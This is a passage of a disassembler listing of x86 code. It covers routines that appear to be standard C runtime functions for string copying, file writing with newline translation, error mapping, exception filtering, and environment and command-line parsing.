		add	esp, 0Ch
		jmp	short loc_41C427
; ---------------------------------------------------------------------------

loc_41C3C4:				; CODE XREF: sub_41C3A0+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C409
		mov	ecx, [ebp+arg_4]

loc_41C3CF:				; CODE XREF: sub_41C3A0+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_46AA01[esi], 4
		mov	[edi], al
		jz	short loc_41C3F3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3FF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C405
		jmp	short loc_41C3F9
; ---------------------------------------------------------------------------

loc_41C3F3:				; CODE XREF: sub_41C3A0+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C409

loc_41C3F9:				; CODE XREF: sub_41C3A0+51j
		test	edx, edx
		jnz	short loc_41C3CF
		jmp	short loc_41C409
; ---------------------------------------------------------------------------

loc_41C3FF:				; CODE XREF: sub_41C3A0+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C409
; ---------------------------------------------------------------------------

loc_41C405:				; CODE XREF: sub_41C3A0+4Fj
		and	byte ptr [edi-2], 0

loc_41C409:				; CODE XREF: sub_41C3A0+2Aj
					; sub_41C3A0+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C424
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41C424:				; CODE XREF: sub_41C3A0+6Fj
		mov	eax, [ebp+arg_0]

loc_41C427:				; CODE XREF: sub_41C3A0+22j
		pop	edi
		pop	ebp
		retn
sub_41C3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C42A	proc near		; CODE XREF: sub_4175FF+A2p
					; sub_417C37+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_46A8E0
		push	esi
		push	edi
		jnb	loc_41C5BE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C5BE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C47B

loc_41C474:				; CODE XREF: sub_41C42A+177j
		xor	eax, eax
		jmp	loc_41C5D2
; ---------------------------------------------------------------------------

loc_41C47B:				; CODE XREF: sub_41C42A+48j
		test	al, 20h
		jz	short loc_41C48B
		push	2
		push	edi
		push	ecx
		call	sub_41BB7F
		add	esp, 0Ch

loc_41C48B:				; CODE XREF: sub_41C42A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C55A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C592

loc_41C4AB:				; CODE XREF: sub_41C42A+F5j
		lea	eax, [ebp+var_414]

loc_41C4B1:				; CODE XREF: sub_41C42A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4E5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4D0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41C4D0:				; CODE XREF: sub_41C42A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C4B1

loc_41C4E5:				; CODE XREF: sub_41C42A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421070
		test	eax, eax
		jz	short loc_41C54F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C521
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C4AB

loc_41C521:				; CODE XREF: sub_41C42A+EAj
					; sub_41C42A+12Ej
		xor	edi, edi

loc_41C523:				; CODE XREF: sub_41C42A+150j
					; sub_41C42A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C5B9
		cmp	[ebp+arg_0], edi
		jz	short loc_41C592
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C587
		mov	dword_4694B4, 9
		mov	dword_4694B8, eax
		jmp	loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C54F:				; CODE XREF: sub_41C42A+E0j
		call	dword_421088
		mov	[ebp+arg_0], eax
		jmp	short loc_41C521
; ---------------------------------------------------------------------------

loc_41C55A:				; CODE XREF: sub_41C42A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_421070
		test	eax, eax
		jz	short loc_41C57C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------

loc_41C57C:				; CODE XREF: sub_41C42A+145j
		call	dword_421088
		mov	[ebp+arg_0], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------

loc_41C587:				; CODE XREF: sub_41C42A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C592:				; CODE XREF: sub_41C42A+7Bj
					; sub_41C42A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C5A7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C474

loc_41C5A7:				; CODE XREF: sub_41C42A+16Fj
		mov	dword_4694B4, 1Ch
		mov	dword_4694B8, edi
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------

loc_41C5B9:				; CODE XREF: sub_41C42A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5D2
; ---------------------------------------------------------------------------

loc_41C5BE:				; CODE XREF: sub_41C42A+15j
					; sub_41C42A+37j
		and	dword_4694B8, 0
		mov	dword_4694B4, 9

loc_41C5CF:				; CODE XREF: sub_41C42A+120j
					; sub_41C42A+166j ...
		or	eax, 0FFFFFFFFh

loc_41C5D2:				; CODE XREF: sub_41C42A+4Cj
					; sub_41C42A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C42A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5D7	proc near		; CODE XREF: sub_417709+16p
					; sub_4178FC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4694B8, ecx
		mov	eax, offset dword_438200

loc_41C5E8:				; CODE XREF: sub_41C5D7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C60C
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438368
		jl	short loc_41C5E8
		cmp	ecx, 13h
		jb	short loc_41C619
		cmp	ecx, 24h
		ja	short loc_41C619
		mov	dword_4694B4, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41C60C:				; CODE XREF: sub_41C5D7+13j
		mov	eax, dword_438204[edx*8]
		mov	dword_4694B4, eax
		retn
; ---------------------------------------------------------------------------

loc_41C619:				; CODE XREF: sub_41C5D7+23j
					; sub_41C5D7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C633
		cmp	ecx, 0CAh
		mov	dword_4694B4, 8
		jbe	short locret_41C63D

loc_41C633:				; CODE XREF: sub_41C5D7+48j
		mov	dword_4694B4, 16h

locret_41C63D:				; CODE XREF: sub_41C5D7+5Aj
		retn
sub_41C5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C63E	proc near		; CODE XREF: .nsp0:00417BDBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41C77F
		test	eax, eax
		pop	ecx
		jz	loc_41C773
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C773
		cmp	ebx, 5
		jnz	short loc_41C66F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C77C
; ---------------------------------------------------------------------------

loc_41C66F:				; CODE XREF: sub_41C63E+23j
		cmp	ebx, 1
		jz	loc_41C76E
		mov	ecx, dword_469564
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_469564, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C75E
		mov	ecx, dword_4383E0
		mov	edx, dword_4383E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C6BE
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438370h[esi*4]

loc_41C6B5:				; CODE XREF: sub_41C63E+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C6B5

loc_41C6BE:				; CODE XREF: sub_41C63E+69j
		mov	eax, [eax]
		mov	esi, dword_4383EC
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6D9
		mov	dword_4383EC, 83h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6D9:				; CODE XREF: sub_41C63E+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6EC
		mov	dword_4383EC, 81h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6EC:				; CODE XREF: sub_41C63E+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41C6FF
		mov	dword_4383EC, 84h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C63E+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41C712
		mov	dword_4383EC, 85h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C712:				; CODE XREF: sub_41C63E+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C725
		mov	dword_4383EC, 82h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C725:				; CODE XREF: sub_41C63E+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C738
		mov	dword_4383EC, 86h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C738:				; CODE XREF: sub_41C63E+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41C749
		mov	dword_4383EC, 8Ah

loc_41C749:				; CODE XREF: sub_41C63E+99j
					; sub_41C63E+ACj ...
		push	dword_4383EC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4383EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C766
; ---------------------------------------------------------------------------

loc_41C75E:				; CODE XREF: sub_41C63E+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41C766:				; CODE XREF: sub_41C63E+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_469564, eax

loc_41C76E:				; CODE XREF: sub_41C63E+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C77C
; ---------------------------------------------------------------------------

loc_41C773:				; CODE XREF: sub_41C63E+Fj
					; sub_41C63E+1Aj
		push	[ebp+arg_4]
		call	dword_4211A0

loc_41C77C:				; CODE XREF: sub_41C63E+2Cj
					; sub_41C63E+133j
		pop	ebx
		pop	ebp
		retn
sub_41C63E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C77F	proc near		; CODE XREF: sub_41C63E+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383E8
		cmp	dword_438368, edx
		push	esi
		mov	eax, offset dword_438368
		jz	short loc_41C7AC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438368h[esi*4]

loc_41C7A1:				; CODE XREF: sub_41C77F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C7AC
		cmp	[eax], edx
		jnz	short loc_41C7A1

loc_41C7AC:				; CODE XREF: sub_41C77F+16j
					; sub_41C77F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438368h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C7BF
		cmp	[eax], edx
		jz	short locret_41C7C1

loc_41C7BF:				; CODE XREF: sub_41C77F+3Aj
		xor	eax, eax

locret_41C7C1:				; CODE XREF: sub_41C77F+3Ej
		retn
sub_41C77F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7C2	proc near		; CODE XREF: .nsp0:00417B9Dp
		cmp	dword_46AB2C, 0
		jnz	short loc_41C7D0
		call	sub_41C384

loc_41C7D0:				; CODE XREF: sub_41C7C2+7j
		push	esi
		mov	esi, dword_46AB24
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C802

loc_41C7DD:				; CODE XREF: sub_41C7C2+33j
					; sub_41C7C2+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7FA
		test	al, al
		jz	short loc_41C7FA
		movzx	eax, al
		push	eax
		call	sub_41E6AC
		test	eax, eax
		pop	ecx
		jz	short loc_41C7DD
		inc	esi
		jmp	short loc_41C7DD
; ---------------------------------------------------------------------------

loc_41C7FA:				; CODE XREF: sub_41C7C2+21j
					; sub_41C7C2+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C80C

loc_41C7FF:				; CODE XREF: sub_41C7C2+52j
		inc	esi
		jmp	short loc_41C80C
; ---------------------------------------------------------------------------

loc_41C802:				; CODE XREF: sub_41C7C2+19j
		cmp	al, 20h
		jbe	short loc_41C80C

loc_41C806:				; CODE XREF: sub_41C7C2+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C806

loc_41C80C:				; CODE XREF: sub_41C7C2+3Bj
					; sub_41C7C2+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C816
		cmp	al, 20h
		jbe	short loc_41C7FF

loc_41C816:				; CODE XREF: sub_41C7C2+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41C7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C81A	proc near		; CODE XREF: .nsp0:00417B86p
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB2C, ebx
		push	esi
		push	edi
		jnz	short loc_41C82C
		call	sub_41C384

loc_41C82C:				; CODE XREF: sub_41C81A+Bj
		mov	esi, dword_469500
		xor	edi, edi

loc_41C834:				; CODE XREF: sub_41C81A+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C84C
		cmp	al, 3Dh
		jz	short loc_41C83F
		inc	edi

loc_41C83F:				; CODE XREF: sub_41C81A+22j
		push	esi
		call	sub_415CF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C834
; ---------------------------------------------------------------------------

loc_41C84C:				; CODE XREF: sub_41C81A+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4694DC, esi
		jnz	short loc_41C86E
		push	9
		call	sub_417BEE
		pop	ecx

loc_41C86E:				; CODE XREF: sub_41C81A+4Aj
		mov	edi, dword_469500
		cmp	[edi], bl
		jz	short loc_41C8B1
		push	ebp

loc_41C879:				; CODE XREF: sub_41C81A+94j
		push	edi
		call	sub_415CF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C8AA
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C89D
		push	9
		call	sub_417BEE
		pop	ecx

loc_41C89D:				; CODE XREF: sub_41C81A+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415C00
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41C8AA:				; CODE XREF: sub_41C81A+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C879
		pop	ebp

loc_41C8B1:				; CODE XREF: sub_41C81A+5Cj
		push	dword_469500
		call	sub_415E3D
		pop	ecx
		mov	dword_469500, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_46AB28, 1
		pop	ebx
		retn
sub_41C81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D3	proc near		; CODE XREF: .nsp0:00417B81p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB2C, ebx
		push	esi
		push	edi
		jnz	short loc_41C8EA
		call	sub_41C384

loc_41C8EA:				; CODE XREF: sub_41C8D3+10j
		mov	esi, offset dword_469568
		push	104h
		push	esi
		push	ebx
		call	dword_42107C
		mov	eax, dword_46AB24
		mov	dword_4694EC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C90F
		mov	edi, eax

loc_41C90F:				; CODE XREF: sub_41C8D3+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C93F
		push	8
		call	sub_417BEE
		pop	ecx

loc_41C93F:				; CODE XREF: sub_41C8D3+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4694D4, esi
		pop	edi
		pop	esi
		mov	dword_4694D0, eax
		pop	ebx
		leave
		retn
sub_41C8D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96C	proc near		; CODE XREF: sub_41C8D3+47p
					; sub_41C8D3+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C996
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41C996:				; CODE XREF: sub_41C96C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9DF

loc_41C99B:				; CODE XREF: sub_41C96C+58j
					; sub_41C96C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9CD
		test	dl, dl
		jz	short loc_41C9CD
		movzx	edx, dl
		test	byte_46AA01[edx], 4
		jz	short loc_41C9C0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9C0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41C9C0:				; CODE XREF: sub_41C96C+46j
					; sub_41C96C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C99B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C99B
; ---------------------------------------------------------------------------

loc_41C9CD:				; CODE XREF: sub_41C96C+36j
					; sub_41C96C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9D7
		and	byte ptr [esi],	0
		inc	esi

loc_41C9D7:				; CODE XREF: sub_41C96C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA22
		inc	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------

loc_41C9DF:				; CODE XREF: sub_41C96C+2Dj
					; sub_41C96C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9EA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41C9EA:				; CODE XREF: sub_41C96C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_46AA01[ebx], 4
		jz	short loc_41CA05
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CA04
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41CA04:				; CODE XREF: sub_41C96C+91j
		inc	eax

loc_41CA05:				; CODE XREF: sub_41C96C+8Bj
		cmp	dl, 20h
		jz	short loc_41CA13
		test	dl, dl
		jz	short loc_41CA17
		cmp	dl, 9
		jnz	short loc_41C9DF

loc_41CA13:				; CODE XREF: sub_41C96C+9Cj
		test	dl, dl
		jnz	short loc_41CA1A

loc_41CA17:				; CODE XREF: sub_41C96C+A0j
		dec	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------

loc_41CA1A:				; CODE XREF: sub_41C96C+A9j
		test	esi, esi
		jz	short loc_41CA22
		and	byte ptr [esi-1], 0

loc_41CA22:				; CODE XREF: sub_41C96C+6Ej
					; sub_41C96C+71j ...
		and	[ebp+arg_10], 0

loc_41CA26:				; CODE XREF: sub_41C96C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F

loc_41CA2F:				; CODE XREF: sub_41C96C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA3B
		cmp	dl, 9
		jnz	short loc_41CA3E

loc_41CA3B:				; CODE XREF: sub_41C96C+C8j
		inc	eax
		jmp	short loc_41CA2F
; ---------------------------------------------------------------------------

loc_41CA3E:				; CODE XREF: sub_41C96C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F
		test	edi, edi
		jz	short loc_41CA53
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41CA53:				; CODE XREF: sub_41C96C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41CA58:				; CODE XREF: sub_41C96C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41CA61:				; CODE XREF: sub_41C96C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA6A
		inc	eax
		inc	ebx
		jmp	short loc_41CA61
; ---------------------------------------------------------------------------

loc_41CA6A:				; CODE XREF: sub_41C96C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA9B
		test	bl, 1
		jnz	short loc_41CA99
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA88
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA88
		mov	eax, edx
		jmp	short loc_41CA8B
; ---------------------------------------------------------------------------

loc_41CA88:				; CODE XREF: sub_41C96C+10Dj
					; sub_41C96C+116j
		mov	[ebp+arg_0], edi

loc_41CA8B:				; CODE XREF: sub_41C96C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41CA99:				; CODE XREF: sub_41C96C+106j
		shr	ebx, 1

loc_41CA9B:				; CODE XREF: sub_41C96C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CAB0
		inc	ebx

loc_41CAA3:				; CODE XREF: sub_41C96C+142j
		test	esi, esi
		jz	short loc_41CAAB
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41CAAB:				; CODE XREF: sub_41C96C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CAA3

loc_41CAB0:				; CODE XREF: sub_41C96C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CB00
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAC6
		cmp	dl, 20h
		jz	short loc_41CB00
		cmp	dl, 9
		jz	short loc_41CB00

loc_41CAC6:				; CODE XREF: sub_41C96C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CAFA
		test	esi, esi
		jz	short loc_41CAE9
		movzx	ebx, dl
		test	byte_46AA01[ebx], 4
		jz	short loc_41CAE2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41CAE2:				; CODE XREF: sub_41C96C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAF8
; ---------------------------------------------------------------------------

loc_41CAE9:				; CODE XREF: sub_41C96C+162j
		movzx	edx, dl
		test	byte_46AA01[edx], 4
		jz	short loc_41CAF8
		inc	eax
		inc	dword ptr [ecx]

loc_41CAF8:				; CODE XREF: sub_41C96C+17Bj
					; sub_41C96C+187j
		inc	dword ptr [ecx]

loc_41CAFA:				; CODE XREF: sub_41C96C+15Ej
		inc	eax
		jmp	loc_41CA58
; ---------------------------------------------------------------------------

loc_41CB00:				; CODE XREF: sub_41C96C+148j
					; sub_41C96C+153j ...
		test	esi, esi
		jz	short loc_41CB08
		and	byte ptr [esi],	0
		inc	esi

loc_41CB08:				; CODE XREF: sub_41C96C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA26
; ---------------------------------------------------------------------------

loc_41CB0F:				; CODE XREF: sub_41C96C+BDj
					; sub_41C96C+D5j
		test	edi, edi
		jz	short loc_41CB16
		and	dword ptr [edi], 0

loc_41CB16:				; CODE XREF: sub_41C96C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB20	proc near		; CODE XREF: .nsp0:00417B77p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_46966C
		push	ebx
		push	ebp
		mov	ebp, dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB6E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB4F
		mov	dword_46966C, 1
		jmp	short loc_41CB77
; ---------------------------------------------------------------------------

loc_41CB4F:				; CODE XREF: sub_41CB20+21j
		call	dword_421040
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC49
		mov	dword_46966C, 2
		jmp	loc_41CBFD
; ---------------------------------------------------------------------------

loc_41CB6E:				; CODE XREF: sub_41CB20+19j
		cmp	eax, 1
		jnz	loc_41CBF8

loc_41CB77:				; CODE XREF: sub_41CB20+2Dj
		cmp	esi, ebx
		jnz	short loc_41CB87
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC49

loc_41CB87:				; CODE XREF: sub_41CB20+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB9C

loc_41CB8E:				; CODE XREF: sub_41CB20+73j
					; sub_41CB20+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E

loc_41CB9C:				; CODE XREF: sub_41CB20+6Cj
		sub	eax, esi
		mov	edi, dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBED
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41CBED
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41CBE9
		push	[esp+18h+var_8]
		call	sub_415E3D
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41CBE9:				; CODE XREF: sub_41CB20+B9j
		mov	ebx, [esp+18h+var_8]

loc_41CBED:				; CODE XREF: sub_41CB20+99j
					; sub_41CB20+A8j
		push	esi
		call	dword_421044
		mov	eax, ebx
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------

loc_41CBF8:				; CODE XREF: sub_41CB20+51j
		cmp	eax, 2
		jnz	short loc_41CC49

loc_41CBFD:				; CODE XREF: sub_41CB20+49j
		cmp	edi, ebx
		jnz	short loc_41CC0D
		call	dword_421040
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC49

loc_41CC0D:				; CODE XREF: sub_41CB20+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CC1D

loc_41CC13:				; CODE XREF: sub_41CB20+F6j
					; sub_41CB20+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13

loc_41CC1D:				; CODE XREF: sub_41CB20+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
